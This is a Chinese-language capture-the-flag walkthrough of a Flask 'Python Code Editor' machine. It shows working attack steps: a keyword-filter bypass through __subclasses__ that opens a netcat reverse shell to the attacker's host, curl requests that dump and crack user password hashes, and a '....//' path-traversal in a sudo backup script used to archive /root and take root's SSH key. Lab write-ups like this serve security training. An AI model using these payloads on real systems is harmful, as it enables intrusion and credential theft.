系统:linux
内容:python flask
扫描端口情况如下。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
进入5000端口,是一个执行python代码的界面,但是许多关键词被过滤了。这里有两条途径,一是绕过关键词限制,得到shell。
().__class__.__bases__[0].__subclasses__()[317](['busybox nc 10.10.16.13 1234 -e /bin/bash'], shell=True)
然后在监听端口得到rev shell。
~/D/c $rlwrap nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.62 59648
id
uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)
pwd
/home/app-production/app
python3 -c 'import pty;pty.spawn("/bin/bash")'
第二种是不用shell,直接在python代码里查询数据库内容。
先查看全局变量。查到了名了db的变量连接了数据库。
print(globals())
...
'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>,
...
下面为演示方便,直接在linux命令行中调用python代码。
查看数据库中的表,表名为user。
~/D/c $curl 'http://10.10.11.62:5000/run_code' -X POST --data-raw 'code=print(db.metadata.tables)'
{"output":"FacadeDict({'user': Table('user', MetaData(), Column('id', Integer(), table=<user>, primary_key=True, nullable=False), Column('username', String(length=80), table=<user>, nullable=False), Column('password', String(length=80), table=<user>, nullable=False), schema=None), 'code': Table('code', MetaData(), Column('id', Integer(), table=<code>, primary_key=True, nullable=False), Column('user_id', Integer(), ForeignKey('user.id'), table=<code>, nullable=False), Column('code', Text(), table=<code>, nullable=False), Column('name', String(length=100), table=<code>, nullable=False), schema=None)})\n"}
查看表的内容,直接执行execute不行。
~/D/c $curl 'http://10.10.11.62:5000/run_code' -X POST --data-raw 'code=db.session.execute("select * from user")'
{"output":"Use of restricted keywords is not allowed."}
~/D/c $curl 'http://10.10.11.62:5000/run_code' -X POST --data-raw $'code=table%3Ddb.metadata.tables%5B\'user\'%5D%0Aquery+%3D+db.session.query(table)%0Arows+%3D+query.all()%0Afor+row+in+rows%3A%0A++++print(row)'
{"output":"(1, 'development', '759b74ce43947f5f4c91aeddc3e5bad3')\n(2, 'martin', '3de6f30c4a09c27fc71932bfc68474be')\n"}
解密后得到用户名和密码。development:development
martin:nafeelswordsmaster
以martin登录ssh后,查看sudo -l。
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
仔细分析这个文件,利用代码漏洞,可以备份/root目录。
构建exp.json文件内容如下。
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//....//root"
]
}
执行备份成功。
martin@code:~$ sudo /usr/bin/backy.sh exp.json
2025/03/23 04:49:34 🍀 backy 1.2
2025/03/23 04:49:34 📋 Working with exp.json ...
2025/03/23 04:49:34 💤 Nothing to sync
2025/03/23 04:49:34 📤 Archiving: [/home/../../root]
2025/03/23 04:49:34 📥 To: /home/martin/backups ...
2025/03/23 04:49:34 📦
解压备份包,可以得到root的id_rsa。
~/D/c $tar -xjvf back.tar.bz2
root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
root/.sqlite_history
root/.profile
root/scripts/
root/scripts/cleanup.sh
root/scripts/backups/
root/scripts/backups/task.json
root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
root/scripts/database.db
root/scripts/cleanup2.sh
root/.python_history
root/root.txt
root/.cache/
root/.cache/motd.legal-displayed
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc
~/D/c $ssh root@$IP -i root/.ssh/id_rsa
root@code:~# id;hostname
uid=0(root) gid=0(root) groups=0(root)
code